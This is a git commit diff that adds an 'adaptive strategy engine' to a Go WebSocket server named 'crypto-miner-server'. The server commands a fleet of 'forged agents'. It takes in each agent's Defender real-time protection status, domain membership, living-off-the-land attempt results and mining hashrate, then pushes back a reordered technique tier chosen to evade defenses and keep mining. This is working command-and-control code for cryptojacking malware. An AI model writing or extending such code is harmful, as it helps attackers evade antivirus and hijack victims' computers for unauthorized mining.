Add fleet adaptive strategy engine for proactive LOTL tier ordering
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 01:15:18 -07:00
parent 047d5c7252
commit 85376eac7c
23 changed files with 1141 additions and 6 deletions

View File

@@ -17,6 +17,7 @@ import (
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/pool"
"crypto-miner-server/internal/strategy"
"crypto-miner-server/internal/vuln"
"github.com/google/uuid"
@@ -155,6 +156,7 @@ type WSHub struct {
// Latest service_discover payloads keyed by agent ID (Crucible service graph).
agentServiceDiscover map[string]cachedServiceDiscover
serverPolicy ServerPolicy
adaptiveEngine *strategy.AdaptiveEngine
pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect
eventNotifier *alerts.Notifier
@@ -261,6 +263,32 @@ func (h *WSHub) SetServerPolicy(p ServerPolicy) {
h.mu.Unlock()
}
func (h *WSHub) SetAdaptiveEngine(e *strategy.AdaptiveEngine) {
h.mu.Lock()
h.adaptiveEngine = e
h.mu.Unlock()
if e != nil {
go h.runAdaptiveStrategyLoop()
}
}
func (h *WSHub) runAdaptiveStrategyLoop() {
ticker := time.NewTicker(strategy.RescoreInterval)
defer ticker.Stop()
for range ticker.C {
h.mu.RLock()
engine := h.adaptiveEngine
h.mu.RUnlock()
if engine == nil || !engine.Enabled() {
continue
}
if _, err := engine.RecomputeAll(); err != nil {
log.Printf("[strategy] background rescore: %v", err)
}
h.PushAdaptiveStrategyUpdates()
}
}
func (h *WSHub) SetPingInterval(seconds int) {
if seconds < 10 {
seconds = 30
@@ -848,6 +876,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
}
resp["triple_onion_policy"] = top
if h.adaptiveEngine != nil && h.adaptiveEngine.Enabled() {
domainJoined := false
if prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain {
domainJoined = true
}
fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)
resp["adaptive_strategy"] = h.adaptiveEngine.StrategyForAgent(agentID, fp)
}
return resp
}())})
@@ -1168,6 +1204,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
ac.latencyMu.Unlock()
}
h.ingestStrategyFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier)
h.queueStatsBroadcast(broadcast)
case "submit_share":
@@ -1334,6 +1371,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
continue
}
payload["agent_id"] = agentID
h.ingestStrategyFromPayload(agentID, payload)
h.queueStatsBroadcast(payload)
case "command_result":
@@ -1683,6 +1721,136 @@ func (h *WSHub) ResolveAgentTargets(ids []string) []string {
return ids
}
func (h *WSHub) PushAdaptiveStrategyUpdates() int {
h.mu.RLock()
engine := h.adaptiveEngine
ids := h.ConnectedAgentIDs()
h.mu.RUnlock()
if engine == nil || !engine.Enabled() {
return 0
}
sent := 0
for _, agentID := range ids {
fp := engine.AgentFingerprint(agentID)
if fp.GOOS == "" {
if ag, err := h.db.GetAgent(agentID); err == nil {
fp = strategy.FingerprintFromAuth(ag.Platform, ag.IP, ag.FirewallDomain != nil && *ag.FirewallDomain)
}
}
adaptive := engine.StrategyForAgent(agentID, fp)
payload, err := json.Marshal(adaptive)
if err != nil {
continue
}
if err := h.SendToAgent(agentID, Message{Type: "adaptive_strategy_update", Payload: payload}); err != nil {
continue
}
sent++
}
return sent
}
func (h *WSHub) ingestStrategyFromPayload(agentID string, payload map[string]interface{}) {
if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() {
return
}
platform, _ := payload["platform"].(string)
ip, _ := payload["ip"].(string)
var defenderRTP, firewallDomain *bool
if v, ok := payload["defender_rtp"].(bool); ok {
defenderRTP = &v
}
if v, ok := payload["firewall_domain"].(bool); ok {
firewallDomain = &v
}
h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, parseLOTLAttemptsFromPayload(payload), 0, "")
if hr, ok := payload["mining_hashrate"].(float64); ok {
if tier, ok := payload["lotl_tier"].(string); ok && hr > 0 {
h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, nil, hr, tier)
}
}
}
func (h *WSHub) ingestStrategyFromStats(
agentID, platform, ip string,
defenderRTP, firewallDomain *bool,
attempts []struct {
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
},
miningHashrate float64,
activeTier string,
) {
if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() {
return
}
if platform == "" || ip == "" {
if ag, err := h.db.GetAgent(agentID); err == nil {
if platform == "" {
platform = ag.Platform
}
if ip == "" {
ip = ag.IP
}
if firewallDomain == nil {
firewallDomain = ag.FirewallDomain
}
}
}
domainJoined := firewallDomain != nil && *firewallDomain
fp := strategy.FingerprintFromAuth(platform, ip, domainJoined)
if defenderRTP != nil && *defenderRTP {
fp.AVBlocks = true
}
h.adaptiveEngine.RememberAgentFingerprint(agentID, fp)
for _, a := range attempts {
hr := 0.0
if a.OK && strings.EqualFold(a.Tier, activeTier) {
hr = miningHashrate
}
h.adaptiveEngine.RecordOutcome(agentID, fp, a.Tier, a.OK, hr, "mining")
}
if activeTier != "" && miningHashrate > 0 {
h.adaptiveEngine.RecordOutcome(agentID, fp, activeTier, true, miningHashrate, "mining")
}
}
func parseLOTLAttemptsFromPayload(payload map[string]interface{}) []struct {
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
} {
raw, ok := payload["lotl_attempts"]
if !ok {
return nil
}
data, err := json.Marshal(raw)
if err != nil {
return nil
}
var attempts []struct {
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
}
if err := json.Unmarshal(data, &attempts); err != nil {
return nil
}
return attempts
}
func clientIPFromBroadcast(broadcast map[string]interface{}) string {
ip, _ := broadcast["ip"].(string)
return ip
}
// PushPolicyUpdate sends policy_update to each target agent.
func (h *WSHub) PushPolicyUpdate(agentIDs []string, policy FleetAgentPolicy, pushID string) (sent, failed int) {
if policy.IsEmpty() {